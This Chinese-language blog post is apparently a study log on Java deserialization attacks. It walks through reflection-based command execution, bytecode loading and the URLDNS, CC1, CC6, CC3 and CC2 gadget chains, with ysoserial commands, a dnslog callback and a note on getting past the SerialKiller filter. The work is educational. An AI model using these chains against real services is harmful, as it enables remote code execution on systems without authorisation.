这篇文章发表于 900 天前,可能其部分内容已经发生变化,如有疑问可询问作者。
本文主要记录java反序列化的内容(方便需要的时候回忆),之前因各种原因一直拖着,最近终于补上了这方面的技能树。
另外,后面好几部分都在一定程度上参考了该项目中的内容,先表示感谢。
基本环境配置
这里的java环境比较多,java各个版本可以从这个网站下载,也可以使用版本管理器。然后请下载并本地编译ysoserial。这些比较简单,不废话。
因为有些java环境里面缺少源代码,想查看的时候是.class文件反编译出来的结果,或者想小小改动一下。所以本文文末给了一个方便的从java源码编译得到java环境的方案,即利用docker编译了open-1.7-147版本和open-8u66-b36版本。
对于jdk8u的版本,你也可以用这个利用docker进行编译的项目。你当然也可以自行编译,这篇文章描述了相关的问题(搞起来还是很烦的)。另外以下要用到的不同版本的common-collections
的包可去该网站下载。
弄好之后我们在ideaj的项目里面自己配置一下,记住里面的SourcePath要填写jdk/src/share/classes
(对于某些压缩包而言,其他可能需要自行调整)。
前置的各种基础
先简单介绍下相关的技术基础,也方便后面内容看不懂了再回头理解。
简单反射RCE
利用Runtime.getRuntime().exec()完成反射的主要步骤有四:
- 获取Runtime类,比如
Class<?> cls = Class.forName("java.lang.Runtime");
- 获取Runtime类的exec方法,比如
Method command = cls.getMethod("exec", new Class[]{String.class});
- 通过getRuntime方法获取当前Runtime运行时对象的引用(因为一般不能实例化一个Runtime对象,应用程序也不能创建自己的Runtime类实例),比如
Object obj = Runtime.getRuntime();
- invoke调用exec方法,执行任意命令,比如
Object inv = command.invoke(obj, new Object[]{"calc.exe"});
1 | import java.lang.reflect.Method; |
反序列化基础
Java反序列化是指把字节序列恢复为Java对象的过程。一般都会进入到相应的readObject
函数中,而该函数很可能被重写。
这里对该文章中使用到的例子进行了一定修改,现在的目标是生成一个ser文件让下面的这个程序执行命令:
1 | import java.io.*; |
我们可以看到readObject
函数被重写了,而且里面的内容非常危险。当然我们在现实中不太可能遇到这么顺利的情况,因此才有所谓的反序列化链。
很显然,被注释掉的内容的功能是生成ser文件。可以看到,想要利用它很简单,只需要稍加改动——在生成文件之前让里面的obj.cmd = "firefox"
即可。
字节码基础
java的字节码(也就是bytecode)通常被存储在.class文件中。这篇文章提到,储存字节码的文件可交由运行于不同平台上的JVM虚拟机去读取执行,实现一次编写,到处运行的目的。
生成字节码
这里就不得不提到javassist这个包,利用这个包我们就能够简单地编写生成字节码文件的代码。比如我们想得到如下这个文件的字节码:
1 | package com.test; |
像这篇文章提到的,我们可使用如下程序将期望的类Hello
转为字节码。
1 | package com.test; |
加载字节码 - 基本
实现加载的手段相对较多,以下几个部分的内容是根据该文章的内容简单描述下的结果。
不管是加载远程.class文件还是本地的.class或.jar文件,java都会经历这三个方法的调用:ClassLoader#loadClass -> ClassLoader#findClass -> ClassLoader#defineClass
。
ClassLoader#loadClass
的作用是从已加载的类缓存、父加载器等位置寻找类(这里实际上是双亲委派机制),在没有找到的情况下执行ClassLoader#findClass
。ClassLoader#findClass
的作用是根据基础URL指定的方式来加载类的字节码,可能会在本地文件系统、jar包或者远程http服务器上读取字节码,然后进入ClassLoader#defineClass
。ClassLoader#defineClass
的作用是处理前面传入的字节码,将其处理成真正的java类。
这里面比较重要的就是ClassLoader#defineClass
,毕竟是直接相关的函数,可以通过如下代码直接使用defineClass
加载字节码并RCE弹窗:
1 | package com.test; |
因为这个ClassLoader#defineClass
方法的作用域不开放,所以我们只能通过反射的方式来调用它。
加载字节码 - TemplatesImpl
因为ClassLoader#defineClass
一般不会被大部分上层开发者用到,但其衍生出来的TemplatesImpl
链是比较常见的攻击链。
利用到的是com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
里面找到TransletClassLoader
这个类。 以jdk8u71-b15为例,
1 | static final class TransletClassLoader extends ClassLoader { |
可以发现它重写了defineClass
方法,而且没有显式声明其作用域,说明其作用域为default
,也就可以被类外部调用。
我们接着详细追踪一下TransletClassLoader#defineClass()
是如何被调用的,发现可以是这样的一条链子:TemplatesImpl#getOutputProperties()->TemplatesImpl#newTransformer()->TemplatesImpl#getTransletInstance()->TemplatesImpl#defineTransletClasses()->TransletClassLoader#defineClass()
,当然也有别的但不多说了。
更棒的是,TemplatesImpl#getOutputProperties()
和TemplatesImpl#newTransformer()
这两个函数可以被外部调用。经过努力可以写出下面这样的代码:
1 | public class Testtemplatesimpl { |
这里需要注意两点:
- 通过调试可知
_tfactory
这个属性必须被设置,因为它在路径上被调用了,而且不能为空。 - 读入的字节码必须出自
AbstractTranslet
这个类,毕竟也只有这个类。像自己刚刚定义的Hello
类肯定是找不到的,因此需要修改。
于是修改刚刚的Hello
类如下,
1 | package com.test; |
运行之前用于生成字节码的程序,然后再用输出的字节码进行测试,你会发现成功了。
加载字节码 - BCEL Classloader
BCEL主要是用于支持java XML相关的内容,但如该文章所说,因为一些原因,它在jdk8u251的更新中被移除了。
我们可以通过BCEL提供的两个类Repository
和Utility
来利用: Repository
用于将一个Java Class转换成原生字节码(javac命令也可以);Utility
用于将原生的字节码转换成BCEL格式的字节码。细节就不多说了,可以根据这篇文章来进行实验:
首先修改之前的Hello
类如下:
1 | package com.test; |
可以直接将生成BCEL和加载执行BCEL的代码写在一起。
1 | package com.test; |
DNSLOG
这条链应该是入门最合适的,顺便也说一说ysoserial该如何使用。首先搞一个研究用的脆弱环境(这条链子没太多依赖,本人使用的java环境为8.0.302)。
1 | import java.io.*; |
接着选个DNSLOG的平台,根据它给出的子域名和ysoserial俩生成out.bin
文件,用命令java -jar ysoserial-0.0.6-SNAPSHOT-all.jar URLDNS http://acdb1fe7.dnslog.rest > out.bin
生成payload。测试一下,一切OK。接着我们来看链子:
1 | HashMap.readObject() |
干脆先调试下,发现HashMap.readObject这个重写的方法比较复杂,但不难发现相关的DNSLOG指定的URL传入至HashMap.putVal
里面。根据ysoserial提供的思路继续步入,比较容易地便能够找到URLStreamHandler.java
文件中的hashCode
函数,里面有个InetAddress addr = getHostAddress(u);
就是在这里程序会去访问那个给出的URL。
如果你继续仔细找下去的话,你会发现InetAddress.getByName(host)
等调用,其中你可能会发现getAddressesFromNameService
调用,也就是会触发DNS查询。
好,现在我们知道链条大概的样子了。可以照着这个链子练习一下,编写出如下程序:
1 | import java.io.*; |
以上这样基本就可以进行利用了。ysoserial里面还进行了一定的优化,但不是重点,有需要请自行研究。
CC1
CC1这个利用其实不难,这篇文章个人觉得很好。这里使用commons-collections 3.1作为例子,请下载好源代码,本人使用的java环境是自行编译的open-1.7-147,common-collections
版本为3.1。
首先来看一看ysoserial里面对它的形容是这样的(我这个更详细些,话说为什么ysoserial的链子就不能统一下格式啊喂):
1 | java.io.ObjectInputStream.readObject() |
LazyMap.get及其后面部分的链子
看起来比较复杂,我们先来看LazyMap.get()
及其后面部分的内容。这部分内容很显然就是利用Runtime.getRuntime().exec()完成反射的典型场景。
在掌握基本知识的基础上,然后我们开始寻找源代码中的相关位置,也就是填入这些payload的位置。先找到LazyMap.get
的api文档,也可以直接采用这篇文章的例子:
1 | public class Test { |
搜索lazyMap.get
可以找到LazyMap.java
里面的get
函数。可以看到里面调用factory.transform
,继续找就能够看到InvokerTransformer.java
里面的transform
函数:
可以看到是非常漂亮的反射代码,结合之前例子的代码和反射RCE的思路,可以像下面这样跑通LazyMap.get()
及其后面部分的链子。
1 | public class Test { |
虽然跑通了,但是你会发现ChainedTransformer.transform
其实并没有出现在里面。寻找一下,很快能发现这些代码:
1 | public Object transform(Object object) { |
也可以直接上网搜下其使用,它的意思是能够将传入参数里面的个部分transform之后拼起来,链式调用。于是可以继续进行一些小修改:
1 | public class Test { |
咋一看没什么用处。但是查看ysoserial里面的payload,可以进一步将lazyMap.get
里面的参数换成字符串,就像下面这样。
1 | public class Test { |
LazyMap.get前面部分的链子
我们很清楚地知道上面的代码过于理想,现在需要找到可以触发LazyMap.get()
且能够控制一定参数的东西。可以看到ysoserial里面找到的是AnnotationInvocationHandler.invoke
,那么我们可以先调出源代码看一看。
找到sun/reflect/annotation/AnnotationInvocationHandler.java
文件中的Object result = memberValues.get(member);
,我们知道只需要令memberValues
和member
这两个变量为合适的值即可,这不是问题,因为member
本就是字符串而memberValues
只要指定为lazyMap
就好了。但是如何调用却成为了一个问题。
这里插播一则关于java动态代理的知识点,当然是因为接下来要用到。
这篇文章说:代理类为被代理类预处理消息、过滤消息,在此之后将消息转发给被代理类,之后还能进行消息的后置处理。代理类和被代理类通常会存在关联关系(即上面提到的持有的被带离对象的引用),代理类本身不实现服务,而是通过调用被代理类中的方法来提供服务。动态代理无非是利用反射机制在运行时创建代理类。这里也有一个离谱但还算清楚的视频可供参考学习。
既然我们的目标是调用LazyMap
类的get
方法,那么我们可以通过Proxy
类的静态方法newProxyInstance
来创建LazyMap
类的动态代理对象,当lazyMap
调用方法时就会调用代理对象的invoke
方法(这段话引自该文章)。具体代码可以如下:
1 | public class Triggercc1 { |
其中需要注意的有以下几点:
AnnotationInvocationHandler
是在JDK内部的类,不能直接用new实例化,因此需要先利用反射获取其构造方法,然后设置为accessible再进行实例化。AnnotationInvocationHandler
类中的invoke
方法会在相关的类调用任意方法时被触发,我给的例子用了size()
,你当然也可以使用别的,比如entrySet()
。Retention
可以替换为其他的java.lang.annotation
里面的类。
很好,上面的东西说明我们下一步的主要目的就是在反序列化的时候调用proxyMap
的相关函数。根据ysoserial给出的思路,它看中了AnnotationInvocationHandler
里面的readObject
函数,因为这里面用到了entrySet()
而且前面的变量可以轻松控制!只要在刚刚的东西上添加一句:handler = (InvocationHandler) constructor.newInstance(Retention.class, proxyMap);
后再对其进行反序列化即可。
PS:在这部分内容的调试当中你也许会惊讶地发现经常出现RCE的弹窗,这说明你有些内容是正确的,因为Debugger Evaluate的原因导致那段写对了的链子常常被触发。
利用反射解决Runtime不可序列化的问题
在添加上序列化和反序列化的代码后,运行上述程序,会遇到这样的报错Exception in thread "main" java.io.NotSerializableException: java.lang.Runtime
。
这篇文章给出了理由:并非所有的java对象都能支持序列化,只有那些实现了java.io.Serializable
接口的对象才可以,Runtime
这个对象就不支持。但是我们可以通过反射来获取到这个Runtime
,利用反射的只是就能够解决了:
1 | public class Triggercc1 { |
需要注意的几点:
- 上面的代码再次利用了
InvokerTransformer.java
里面的transform
函数。 Runtime.getRuntime()
是一个java.lang.Runtime
对象;而目前使用的是Runtime.Class
,是个java.lang.Class
对象,它能够被序列化。
在我的环境里面已经能跑通了(利用环境要求小于8u71,我的测试环境一个是7-b147,另外两个是8u20-b15和8u66-b36)。
但这个代码无法在8u71-b15完成利用,可通过调试究其原因:memberValues.get(member)
原本希望是达成lazyMap.get("xxx")
这样的效果,但是其中的memberValues
却是LinkedHashMap
类型的变量。 仔细观察就能发现在AnnotationInvocationHandler
类的readObject
方法里面多出UnsafeAccessor.setMemberValues(this, mv);
这么一行代码,而且Map<String, Object> mv = new LinkedHashMap<>();
。显然,这样根本无法触发invoke
完成剩下的链子,虽然剩下的链子都是可用的。
对于CC1而言,可能还有一些细枝末节的地方或者其他的方法没有提及,这里不赘述了,感兴趣请自行研究。
CC6
在CC1部分我们提到CC1链无法在8u71-b15完成利用,但我们也有其他办法,即CC6。该部分实验环境为8u71-b15,common-collections
版本为3.1。以下是CC6链子的思路。
1 | java.io.ObjectInputStream.readObject() |
可以看到,这条链子中的LazyMap.get
及其后面部分的链子和CC1是完全一致的,所以它就是找了另外一种调用LazyMap.get
的方法。建议试着自己编写,结合本文的前两部分DNSLOG链和CC1链。我反正编写出了下面这样的代码:
1 | public class Triggercc6 { |
以上的注释其实如同脚手架,一旦调试中存在着问题的话,这些注释的内容可以有效地帮助我们锁定问题的可能范围。虽然能够RCE,但是可以看到这个代码尚未写全——我们清楚地知道下一步的目标是调用hashmap.put
,也就通过java.util.HashSet.readObject()
里面的逻辑来实现。
可代码写到这里我卡住了,剩下部分的代码一直写不出来。先干点别的吧。
避开调试中触发的命令执行
调试的时候总是蹦出RCE弹窗,该文章里面提到一种手法能避开调试中触发的命令执行。这是很不错的一种手段,实现起来也比较简单:
- 我们知道在调试过程中不断被触发的payload位置在
chainElements
、transformer
这些变量里,可以在一开始的时候将其设置为空。 - 在最后输出反序列化payload的时候,我们可以将真正可以用来反射的代码填进去,
ChainedTransformer
这个类也具备这样的条件。
一种较为简单的触发方式(上)
尽管解决了一部分问题,但按照ysoserial提供的思路还是有点难度对我而言。不过如果先不走ysoserial里面给出的思路的话还是有其他相对简单的办法的。其思路如下:
1 | java.io.ObjectInputStream.readObject() |
根据上述思路你修改之后可能还是会发现存在着一定的问题,只要一些些调试和思考就能够解决了,该方法的实现代码如下:
1 | public class Triggercc6 { |
我相信你一定会困惑移除键值真的有用吗。是的,运行确实是可以跑起来了,但如果你耐心地去调试(请试试),你很可能会发现那个判断压根没有被绕过去。一看网上的文章,不知道是因为什么原因,都有意无意地忽略了这一点。
很摸不着头脑,但是我想可以先从有remove
和无remove
先后生成的反序列化文件里面找到一些端倪,我在这里使用了SerialzationDumper
这个项目。
可见两者输出的差别还是有的,而且体现在LazyMap
上(这不废话吗…),可是为什么ideaj的调试中那个判断还是绕不过去呢?
经过我一段时间的研究,发现这似乎是一个BUG,因为当LazyMap
里面的readObject
方法被执行的时候,我们可以在Debugger里面(也就是写着Evaluate expression那栏)输入map.containsKey("xxxx")
,发现其答案为false;可绕了一圈再回到LazyMap
里面的get
方法的时候,其答案居然变成了true!
手动编译common-collections3
调试的结果让我完全搞不清到底啥情况,虽然也想混水摸鱼(啊啊完全搞不懂啊),但觉得这样写出来的文章对不起自己。干脆想办法锁定问题在哪吧……于是下载了common-collections3.1的源代码,并对里面的LazyMap源码进行一定修改,如下图。
这个东西的编译环境建议使用jdk1.7和ant-1.9,ideaj的话只要导入该项目之后修改下ant的路径即可。
一种较为简单的触发方式(下)
OK,接下来的内容就比较简单,我们只要使用刚编译出来的jar包替换相应的lib,以及用源码替换对应的src再运行即可。可以在控制台看到这样的输出:
1 | false |
这说明什么?至少程序的运行确实是走了预期的路径,所以目前基本可以将怀疑的目光投向Debugger!继续调试,我们很快就找到了问题所在。
可见这个Debugger在先前,也就是我们根本注意不到的时候就已经运行了相关的payload(确实那之前有弹窗,但现在想来我并没有认真看待这个问题),调试时候呈现出来的状态并不是真正触发时候的状态。我甚至在输出In get!
的地方打上断点,结果这个断点被神奇地跳过而且输出了那些玩意。
可以定性为Debugger的问题了。什么,你问我该怎么解决?确实我们不可能一天到晚在源码包里插入代码再编译……(不过也可以看到土方法确实很有效2333)这是问题非常恼人,但也许能修改ideaj的settings?最后我在这篇文章里找到了解决之道,请按照如下方法进行设置。
ysoserial中的触发链
因为刚才思路卡在了HashSet
那里,所以先尝试一条相对简单的链,同时也发现ideaj的Debugger的默认设置可能会产生干扰。现在我们重新思考一下如何完成ysoserial思路的代码编写。
可以看到这里面的调用位置在map.put(e, PRESENT);
这里,我们需要达成像hashMap.put(tiedMapEntry, "fff");
这样的效果,但对于hashMap
而言只要保证是HashMap
类即可,剩下的无非是对于e
而言我们还需要找到readObject
之后可以返回tiedMapEntry
的方法。可以先试试如下代码看看HashSet
反序列化时候的逻辑:
1 | // 反序列化的最外层肯定是 HashSet,于是先创建,后面再进行一定的修改 |
经过调试可以看到e="foo"
,如果我们能直接将tiedMapEntry
通过add就添加进去的话,是不是就万事大吉了?事实证明是可以的。
1 | public class Test { |
其实这已经和ysoserial思路一模一样了,但是我们知道ysoserial的CC6代码可完全不是这样写的,不过呢实现的功能却是相似的——都是将HashSet
里面的元素的key设置为tiedMapEntry
,并且保证那个"xxxx"
的键不存在于hashMap
中。
1 | public class Triggercc62 { |
我相信您看到以上代码的注释结合手动调试之后就会明白这一切的。
CC3
还记得之前的CC1和字节码部分的内容吗?先不管什么CC3,这两者拼起来应该也是可以有所作为的吧?
字节码的话我们可以很自然地选择加载字节码 - TemplatesImpl
里面的示例,但它该填在哪里呢?它其实代表了类,因此我们一找先前CC1的POC就能够发现需要填在ConstantTransformer
里;至于InvokerTransformer
的话,应该是要想方设法触发关于这个类的调用,可以选择templatesImpl.newTransformer()
这个调用。
稍微改动下CC1的代码,加入一些字节码加载的处理代码后我们便可以得到可以跑的样例(运行环境为jdk8u66-b36,common-collections
版本为3.1):
1 | public class Triggercc3 { |
好了,现在问题来了。SerialKiller的0.2版本过滤了InvokerTransformer
这样的关键字,我们又该如何绕过这个过滤限制呢?这就是CC3出现的原因。
有一点比较差劲,就是ysoserial里面的代码并没有给出利用链,但我们可以自己根据代码写一下作为练习。
1 | java.io.ObjectInputStream.readObject() |
看来的确是主要改动了原本的InvokerTransformer
之后的链子,当然这和我们利用bytecodes也有一定的关系。为什么括号里会使用com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter
呢?因为bytecodes里面的类是com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
,而且在TrAXFilter
的构造方法中有this._transformer = (TransformerImpl)templates.newTransformer();
,即TemplatesImpl#newTransformer()
,也就是直接调用了加载bytecodes的函数!
另外对于InstantiateTransformer
,它主要是为了触发TrAXFilter
的构造方法——因为我们在InstantiateTransformer
的transform
函数(这个会在ChainedTransformer
的transform
里面得以调用)里找到了con.newInstance(iArgs)
,只要令con
为TrAXFilter
的Constructor即可。因此我们已经知道InstantiateTransformer()
的括号里该填啥了。
1 | Transformer[] chainElements = new Transformer[] { |
没错,只要改动这么一点点就行了。这就是CC3。
CC2
按那个系列的次序来说这部分应该是讲shiro-1.2.4的漏洞利用,但我研究了一下,感觉是调试为主,想写明白还是太麻烦而且网上有不少文章已经亲身实践研究过(比如这篇和这篇)。所以就开始CC2的学习吧。
CC2这里主要介绍的是PriorityQueue
链,这条链子在CC4中也有用到。该部分实验环境为jdk8u66,common-collections
版本为4.0。我们同样可以根据ysoserial给出的代码找到这条链子的利用过程:
1 | java.io.ObjectInputStream.readObject() |
基本实现
可以看到熟悉的InvokerTransformer.transform
出现在里面,然后一看TransformingComparator.compare
里面对于this.transformer.transform(obj1)
的调用,可以先写出如下的测试代码:
1 | public class Testcc2 { |
于是乎剩下的目标就是触发TransformingComparator.compare
,其实根据链子的思路耐心翻看下代码辅以调试的话自己就能写出来。
1 | public class Triggercc2 { |
这个代码就实现了CC2链,美中不足的就是它的RCE弹窗会爆两次。很多文章都使用Queue.add
类似的方法,其实都是一个道理,我们直接修改里面的重要参数也是完全可以的,而且貌似考虑起来更方便。
利用字节码改进
刚刚只是简单地实现了CC2的基本思路,如果观察ysoserial的源代码,我们会看到它还利用了TemplatesImpl
,也就是加载字节码。接下来,字节码的话还是选用加载字节码 - TemplatesImpl
里面的示例。
剩下的目标就是将templatesImpl
和transformer
联系起来,其实上文已经提到过别的方法了,但这里就用ysoserial里面的吧。其核心想法是利用org.apache.commons.collections4.functors.InvokerTransformer
里面的transform
函数(因为里面可以构造一个反射method.invoke(input, this.iArgs);
)完成对TemplatesImpl#newTransformer()
的调用。
1 | public class Triggercc22 { |
Dockerfiles for OpenJDK compiling
对于jdk7-b147,其Dockerfile如下:
1 | FROM ubuntu:16.04 |
对于jdk8u66-b36版本,其Dockerfile如下:
1 | FROM ubuntu:16.04 |
反正其他啥版本只要随手改改对应的版本号就好了,但请注意不要修改Dockerfile中的Boot JDK。